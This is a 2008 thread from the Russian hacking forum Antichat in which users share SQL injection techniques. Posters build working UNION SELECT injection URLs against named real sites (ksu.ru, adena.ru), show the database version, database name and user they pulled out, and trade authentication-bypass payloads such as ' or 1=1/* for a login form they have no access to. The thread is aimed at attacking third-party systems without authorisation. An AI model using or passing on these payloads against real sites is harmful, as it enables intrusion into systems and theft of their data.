
19.03.2008, 12:06
|
|
Познавший АНТИЧАТ
Регистрация: 18.02.2008
Сообщений: 1,136
С нами:
9593606
Репутация:
4915
|
|
Fuckel
Наличие ошибки не всегда свидетельствует о наличии уязвимости, нужно проверять на возможность иньекции например так:
+and+1=1/*
+and+1=2/*
А вообще, именно этот ресурс уже задолбали, поищи на форуме и увидешь где и как иньекция проходит если интересно
|
|
|

19.03.2008, 16:45
|
|
Участник форума
Регистрация: 16.11.2006
Сообщений: 230
С нами:
10254549
Репутация:
227
|
|
ды нет, просто нужно всегда проверять на наличие открытых скобок вот так:
http://www.ksu.ru/usvr/index.php?id=17&idm=-1)+and+(1=1
нет ошибки, значит как минимум 1 скобка открыта. теперь так:
http://www.ksu.ru/usvr/index.php?id=17&idm=-1))+and+((1=1
ЭРРОР, значит 1 скобка открыта и её нужно закрыть.
А птоом подбираем:
http://www.ksu.ru/usvr/index.php?id=17&idm=-1)+union+select+1,2,3,4,5,6,7,8,9,10,11/*
потом по стандарту:
http://www.ksu.ru/usvr/index.php?id=17&idm=-1)+union+select+1,2,3,4,5,6,concat_ws(0x3a,version (),database(),user()),8,9,10,11/*
и видим:
5.0.26:uniksu:uniksu@localhost
|
|
|

19.03.2008, 17:20
|
|
Новичок
Регистрация: 20.01.2007
Сообщений: 23
С нами:
10161713
Репутация:
8
|
|
Вот у меня такой вопрос:
есть некая страница в каталоге /agents/
которая требует обязательно ввести логин и пасс,
если не ошибаюсь по моим наблюдениям логин не фильтруется, но я незнаю ни одного логина, приблизительный запрос: select xxx from xx_table where login=$login and pass=$pass, логины типичные admin, administrator и т.п. не прокатывает,
вопрос: что можно в этих случаях сделать?
|
|
|

19.03.2008, 19:29
|
|
♠ ♦ ♣ ♥
Регистрация: 18.05.2006
Сообщений: 1,828
С нами:
10516826
Репутация:
3742
|
|
login=31337 or 1=1--
pass=qwerty
?
пробуй так, с кавычками, скобками тд.
__________________
Привет! Меня зовут Джордж, и я хотел бы рассказать вам про реинкарнацию (ц) 2x2
|
|
|

19.03.2008, 19:53
|
|
Members of Antichat - Level 5
Регистрация: 02.11.2006
Сообщений: 781
С нами:
10274726
Репутация:
1917
|
|
Сообщение от blackybr
login=31337 or 1=1--
pass=qwerty
?
пробуй так, с кавычками, скобками тд.
Вобще в данном случае я наверное это бы и посоветовал, но хочу сказать, что в некоторых случаях наличие пробела после -- обязательно, и я думаю если в скрипте подставляется кавычка, то это так и есть, вобщем все как блеки описал, но только в конце пробел
__________________
Карфаген должен быть разрушен...
|
|
|

19.03.2008, 20:05
|
|
Участник форума
Регистрация: 17.01.2008
Сообщений: 170
С нами:
9640431
Репутация:
105
|
|
o3,14um
пасиба, про скобки я первый раз слышу. в след учту. спс.
|
|
|

20.03.2008, 11:34
|
|
Новичок
Регистрация: 20.01.2007
Сообщений: 23
С нами:
10161713
Репутация:
8
|
|
login=31337 or 1=1--
pass=qwerty
Такое не прокатывать, т.е. мой запрос добавляется в
where login='reallogin' запрос /*,
мне надо знать хотя бы один реальный логин, а я незнаю,
как можно в таких случаях поступить, кроме перебора логинов, 
очень надо.
|
|
|

20.03.2008, 15:24
|
|
Участник форума
Регистрация: 16.11.2006
Сообщений: 230
С нами:
10254549
Репутация:
227
|
|
Если есть иньекция, очень врядле. что те нужно знать логин.
ПРобуй ввести как в логин, так и в пароль:
' or 1=1/*
') or 1=1/*
')) or 1=1/*
') or ('1'='1
Вобўем сам эксперементіруй. И ещё многое зависит от того, какой серв БД там стоит!
|
|
|

20.03.2008, 16:08
|
|
Участник форума
Регистрация: 06.03.2008
Сообщений: 105
С нами:
9568860
Репутация:
146
|
|
можно ли как нибудь вывести слово на страницу через запрос? ведь есть серваки где не показываетсая отчет об ошибке и не понятно есть ли так sql inc
|
|
|

20.03.2008, 17:23
|
|
Познающий
Регистрация: 15.09.2005
Сообщений: 60
С нами:
10869277
Репутация:
52
|
|
Сообщение от bag
можно ли как нибудь вывести слово на страницу через запрос? ведь есть серваки где не показываетсая отчет об ошибке и не понятно есть ли так sql inc
Да. Вот ссылка для примера.
Код:
http://adena.ru/keys.php?id=-1'+union+select+1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,'%3CH1%3E%D0%92%D0%AB%D0%92%D0%9E%D0%94%D0%98%D0%9C%D0%AB%D0%99%20%D0%A2%D0%95%D0%9A%D0%A1%D0%A2%3C/H1%3E',22/*
|
|
|
|
 |
|
|
Здесь присутствуют: 1 (пользователей: 0 , гостей: 1)
|
|
|
|